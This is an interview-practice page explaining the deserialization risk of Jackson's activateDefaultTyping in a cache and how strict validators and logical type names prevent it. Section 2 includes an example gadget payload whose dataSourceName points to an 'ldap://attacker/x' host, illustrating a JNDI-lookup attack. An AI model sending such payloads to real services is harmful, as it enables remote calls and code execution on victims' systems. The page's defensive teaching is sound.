Quick revision
The short answer
activateDefaultTyping makes Jackson write Java class names into the JSON and, when reading, instantiate whatever class the JSON names, as long as the configured validator allows it. If anyone other than our own code can write to the cache, the JSON becomes a way to choose classes, which brings back the same gadget-chain risk as Java serialization. The safer setup is a strict PolymorphicTypeValidator, such as BasicPolymorphicTypeValidator allowing only our base packages, or better, @JsonTypeInfo with logical names in @JsonSubTypes on known hierarchies, plus keeping Jackson updated for its deny-list of known gadget classes.
What to remember
In this answer, we saw that activateDefaultTyping writes Java class names into JSON and instantiates them on read, which recreates the gadget-chain risk of Java serialization whenever cached data could be written by someone else, especially with LaissezFaireSubTypeValidator. The safer setup uses a strict BasicPolymorphicTypeValidator that allows only our base packages and the few JDK classes we need, or better, @JsonTypeInfo with logical names in @JsonSubTypes on known hierarchies, a dedicated mapper for the cache, and an up-to-date Jackson for its gadget deny-list.
Your turn
Answer it aloud as you would in the interview, or type your answer below. Then show one part at a time and compare.
activateDefaultTyping makes Jackson write Java class names into the JSON and, when reading, instantiate whatever class the JSON names, as long as the configured validator allows it. If anyone other than our own code can write to the cache, the JSON becomes a way to choose classes, which brings back the same gadget-chain risk as Java serialization. The safer setup is a strict PolymorphicTypeValidator, such as BasicPolymorphicTypeValidator allowing only our base packages, or better, @JsonTypeInfo with logical names in @JsonSubTypes on known hierarchies, plus keeping Jackson updated for its deny-list of known gadget classes.
Why this question is asked
Storing polymorphic objects in a cache is a common need: a cache of List<Shape> must remember which entries are circles and which are squares. Default typing solves it with one line, which is why it appears in so many codebases and why security reviews flag it so often. Interviewers ask this to check whether we understand that the risk lies in letting data choose classes, not in JSON itself. In this answer, we will see what default typing writes and reads, why it recreates deserialization attacks, what a PolymorphicTypeValidator does, and how to set up a safe configuration, including the preferred design with logical type names.
1What Default Typing Does
Normally Jackson maps JSON to the declared type. If a field is declared as Shape, an interface, Jackson cannot know which implementation to create, so polymorphic values do not round-trip. Default typing fixes that globally: when writing, Jackson adds the concrete class name of every value whose declared type is not final, and when reading, it reads that class name back and instantiates it.
Notice the @class properties. The JSON now carries Java class names, and the reader trusts them to decide what to build. That is exactly the property that made Java serialization dangerous.
2Why the Review Flags It
Jackson creates objects by calling constructors and setters, so a class named in the JSON gets its setters called with values from the JSON. Some classes in common libraries do dangerous things in setters: for example, classes that perform a JNDI lookup or open a connection when a property like a data source name is set. Over the years, dozens of such gadget classes were reported against Jackson, each one turning JSON like {"@class":"some.library.Gadget","dataSourceName":"ldap://attacker/x"} into a remote call, and sometimes into code execution.
If only our own service writes to the cache, an attacker would need write access first, but caches are often shared between services, reachable on the network, or filled with data that originally came from users. A security review rightly assumes that any data store can eventually contain hostile data, and with default typing and an allow-everything validator, hostile data means hostile classes.
6 messages in order. Play them, or step through them one at a time.
Default typing lets the stored data decide which classes to build.
3What a PolymorphicTypeValidator Does
Since Jackson 2.10, the old enableDefaultTyping methods are deprecated and activateDefaultTyping requires a PolymorphicTypeValidator, an object Jackson asks before it resolves any class name from the JSON. The validator can allow or deny based on the declared base type and the named subtype. LaissezFaireSubTypeValidator allows everything, which is why the review flagged our code: it switches the check off. BasicPolymorphicTypeValidator lets us build a strict allow-list.
allowIfSubType with a string matches class names by prefix, so com.acme.cache. with the trailing dot allows that package and its sub-packages but not a lookalike such as com.acme.cachetools. We list the few JDK classes our data actually uses rather than whole packages. The exact error message varies by version, but a rejected type always fails before the class is instantiated.
4The Preferred Design: Logical Type Names
A validator makes default typing safer, but the cleaner fix is to drop global default typing and declare polymorphism only where it exists, with logical names instead of class names. The JSON then says "type":"circle", and the reader maps that name to a class from a closed list written in our code.
This has three advantages. No class names appear in the data, so there is nothing for an attacker to choose. Renaming or moving Circle to another package no longer breaks cached data, because the stored name is circle, not the class name. And other languages can read the JSON, because the type names are part of a documented format. For a cache, the mapper used for these values should be a dedicated one, not the application's main ObjectMapper, so the setting does not leak into API responses.
5Keep Jackson Updated
Jackson's databind module carries a deny-list of known gadget classes that it refuses to deserialize polymorphically, and it grows with each release as new gadgets are reported. Keeping Jackson current is therefore part of the setup, even with an allow-list, because it protects us if someone later loosens the validator. Libraries that enable default typing for us, such as some Redis JSON serializers, deserve a look too: check how your version configures the validator, and replace it with your own strictly configured mapper if needed. In Jackson 3, used by Spring Boot 4, the same concepts exist on the immutable JsonMapper builder; check your version for the exact method names.
6Follow-up questions
Is As.PROPERTY or As.WRAPPER_ARRAY safer?
Neither; they only change where the type id appears in the JSON. Safety comes from what the type id is allowed to name, which is decided by the validator or by using logical names with @JsonSubTypes.
What does DefaultTyping.NON_FINAL include?
It adds type information to every value whose declared type is not final, including Object, interfaces, abstract classes and most collection element types. That breadth is why it is convenient and also why it exposes so many places where a class name can be injected. EVERYTHING is even broader, and narrower options limit it to Object or abstract types.
Would a deny-list alone be enough?
No. A deny-list only blocks gadgets someone has already found and reported, and new ones keep appearing in the many libraries on a typical class path. An allow-list of our own types is the real protection; the deny-list is a safety net.
7Conclusion
In this answer, we saw that activateDefaultTyping writes Java class names into JSON and instantiates them on read, which recreates the gadget-chain risk of Java serialization whenever cached data could be written by someone else, especially with LaissezFaireSubTypeValidator. The safer setup uses a strict BasicPolymorphicTypeValidator that allows only our base packages and the few JDK classes we need, or better, @JsonTypeInfo with logical names in @JsonSubTypes on known hierarchies, a dedicated mapper for the cache, and an up-to-date Jackson for its gadget deny-list.
Open with
Default typing tells Jackson to write the concrete Java class name, like an @class property, into the JSON for every non-final value, and when reading, to instantiate whatever class that property names.
Then, if they want more
That solves polymorphism in the cache, but it means the data now chooses which classes get built, and Jackson calls their constructors and setters with values from the JSON. Many library classes do dangerous things in setters, like JNDI lookups, and dozens of such gadgets have been reported against Jackson.
So if anyone other than our code can write to that cache, a shared Redis for example, it is the same class of attack as Java deserialization. The review is right, especially if we used LaissezFaireSubTypeValidator, which allows any class.
Since Jackson 2.10, activateDefaultTyping takes a PolymorphicTypeValidator, so the minimum fix is a BasicPolymorphicTypeValidator that allows only our base package, like com.acme.cache with the trailing dot, and the few JDK collection classes we really use.
The better fix is to remove global default typing and declare polymorphism only on our known hierarchies with @JsonTypeInfo using logical names and @JsonSubTypes, ideally on a sealed interface, so the JSON says type circle and the reader maps it from a closed list. That also survives class renames and works in other languages.
I would use a dedicated mapper for the cache and keep Jackson updated, because it maintains a deny-list of known gadget classes.
About this answer
- Last updated
- 12 November 2026
- Versions it names
- Spring Boot 4
- Checked
- Its structure and format are checked automatically. Use it as a carefully prepared study note: where a detail matters, confirm it against the documentation below. What the checks cover
- Where the question comes from
- Written by Scrivio for practice. It is not taken from an interview.
- Official documentation
- The Java Language Specification, Java SE 21, Java SE 21 API documentation
Report an issue with this answer
Copy the line below and send it to the author with what you found. It carries the address of this page.
Issue with "After enabling Jackson default typing (activateDefaultTyping) so a cache can store...": https://scrivio-interview-library.netlify.app/java/serialization/144696c3a8/